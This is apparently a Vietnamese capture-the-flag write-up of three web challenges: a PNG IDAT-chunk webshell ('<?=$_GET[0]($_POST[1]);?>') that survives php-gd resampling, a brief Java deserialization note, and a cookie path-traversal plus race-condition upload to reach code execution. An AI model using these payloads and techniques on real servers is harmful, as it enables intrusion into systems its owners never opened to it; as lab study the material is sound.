Mình newbie nên chỉ làm được một số challenge web basic của giải.
1. Image Copy Resampled
(Đề bài cung cấp sẵn cho người chơi source code)
Sau khi mở lên thì ta thấy đây là một chương trình cho phép người dùng upload file ảnh lên hệ thống. Tuy nhiên chương trình này sẽ "vẽ" lại ảnh với kích thước 40px.
Điều này là vô cùng thú vị, bởi vì thông thường một kẻ tấn công muốn giấu tin vào file ảnh hay giấu mã độc trong file sẽ thất bại bởi file được vẽ lại thường có các byte kí tự khác với file ban đầu. Do đó nó khá hiệu quả trong việc làm "sạch" một bức ảnh mà không làm mất đi nội dung của ảnh ban đầu!
Trở lại với đề bài, flag được đặt tên ngẫu nhiên nên khả năng cao ta phải tiến hành RCE để đọc được nó!
Theo như trong source code, chương trình chấp nhận các file có extension là 'jpg', 'png', 'php'.
$allowed_ext = array('jpg', 'png', 'php');
Sau đó, chương trình sẽ sử dụng các hàm của thư viện php-gd để vẽ lại bức ảnh mới dựa trên ảnh ban đầu.
$image = imagecreatefromstring(file_get_contents($file_tmp));
$cropped_image = imagecreatetruecolor(40, 40);
imagecopyresampled($cropped_image, $image, 0, 0, 0, 0, 40, 40, imagesx($image), imagesy($image));
Do đó, nếu chúng ta chỉ upload file php chứa text payload thuần lên thì sẽ bị mất ngay
$image = imagecreatefromstring("<?php phpinfo(); ?>");
$cropped_image = imagecreatetruecolor(40, 40);
imagecopyresampled($cropped_image, $image, 0, 0, 0, 0, 40, 40, imagesx($image), imagesy($image));
imagepng($cropped_image, "/tmp/img.png");
echo file_get_contents("/tmp/img.png");
Output là
\x89PNG\r\n\x1A\n\x00\x00\x00\rIHDR\x00\x00\x00(\x00\x00\x00(\b\x02\x00\x00\x00\x03\x9C/:\x00\x00\x00\tpHYs\x00\x00\x0EÄ\x00\x00\x0EÄ\x01\x95+\x0E\x1B\x00\x00\x00\x1CIDATX\x85íÁ\x01\r\x00\x00\x00 ÷Om\x0E7 \x00\x00\x00\x00àß\x00\x12è\x00\x01¸v\x14\x19\x00\x00\x00\x00IEND®B`\x82
...
Sau một hồi tìm kiếm thì mình cũng tìm được một số blog và tool giúp mình bypass qua filter này (https://github.com/huntergregal/PNG-IDAT-Payload-Generator)
Theo mình hiểu thì đây là việc lợi dụng các IDAT chunks. Các chunk này chứa giá trị các pixel chính của hình ảnh. Ta tiến hành viết payload vào các byte chính của hình ảnh với định dạng 40px. Do đó, khi chương trình vẽ lại ảnh sẽ không can thiệp vào các byte chính của ảnh nữa do ảnh đã đạt kích thước đúng như yêu cầu.
Ta tiến hành tải tool, sửa lại source của tool cho vẽ ảnh 40px và tiến hành chạy tool!
$ python3 generate.py -m php -o testzz.php
[+] PHP Method Selected. Using 'idontplaywithdarts' payload
[-] Payload String: b'<?=$_GET[0]($_POST[1]);?>'
[-] Payload: b'a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310'
[-] Generated Image testzz.php.png
[-] Verifying payload
[-] Payload OK
[+] Fin
Tiến hành upload lên server
Tiến hành đọc flag
FLAG: BKSEC{Php_Gd_iDa7_cHunk_e9079d0d8a6052f029c251f3b7abf29c}
2. Textext
Giống như cách làm của bạn này https://hackmd.io/@devme4f/BJqaWika3, nhưng mình dùng BadAttributeValueExpException
để trigger hàm toString
.
3. Metadata checker
Đề bài cho source code...
Chương trình có tính năng hiển thị metadata của file.
Theo như source code, chương trình sẽ tiến hành upload file lên thư mục tạm của máy tính, tiến hành đọc metadata của file, in ra màn hình, sau đó xóa file đấy đi.
$target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];
move_uploaded_file($_FILES["image"]["tmp_name"], $target_file);
$metadata = exif_read_data($target_file, 0, true);
sleep(1.5);
echo $metadata;
unlink($target_file);
Có lẽ ta phải tiến hành RCE để có thể lấy được flag.
Do chương trình không giới hạn file extension nên ta có thể dễ dàng upload file *.php để có thể thực thi command. Tuy nhiên, các file upload dường như được upload vào folder /var/tmp/
, không được public cho người dùng nên không truy cập được.
...
Ở đây ta để ý hơn một chút về cách đặt đường dẫn của file upload lên tạm thời
$timestamp = time();
$userValue = $_COOKIE['user'];
$target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];
Biến $userValue
ta có thể hoàn hoàn control được do $_COOKIE['user']
chính là giá trị trường header Cookie: user=<ABC>
từ client gửi lên. Do đó, ta dễ dàng khai thác lỗi path traversal, chuyển directory về public folder qua trường cookie này để có thể dễ dàng truy cập được file mà mình vừa upload lên. Tuy nhiên, do file vừa upload lên sau 1.5 giây sẽ bị xóa đi nên ta phải kết hợp với việc race condition để truy cập vào file trước khi nó bị xóa. Ngoài ra, tên file cũng dễ dàng đoán được do biến $timestamp
mang giá trị đến đơn vị là giây hiện tại thôi.
Ở đây thì có nhiều cách để race condition, hiệu quả nhất là viết script, nhưng do trong lúc thi thời gian có hạn nên mình chọn cách race bằng tính năng intruder của burp suite.
Mình sẽ đặt giá trị của cookie user
là ../../var/www/html/assets/images/
và tên file upload lên là .php
, do đó tên file thực sự sau khi upload lên chỉ là _$timestamp_.php
.
Flag: BKSEC{Th!s_1s_just_the_st@rt_0f_the_r@ce_80b9094fada3bb51d7403b2db0d003a6}
Nam nhi vị liễu công danh trái,
Tu thính nhân gian thuyết Vũ Hầu.
(Phạm Ngũ Lão)
Top comments (0)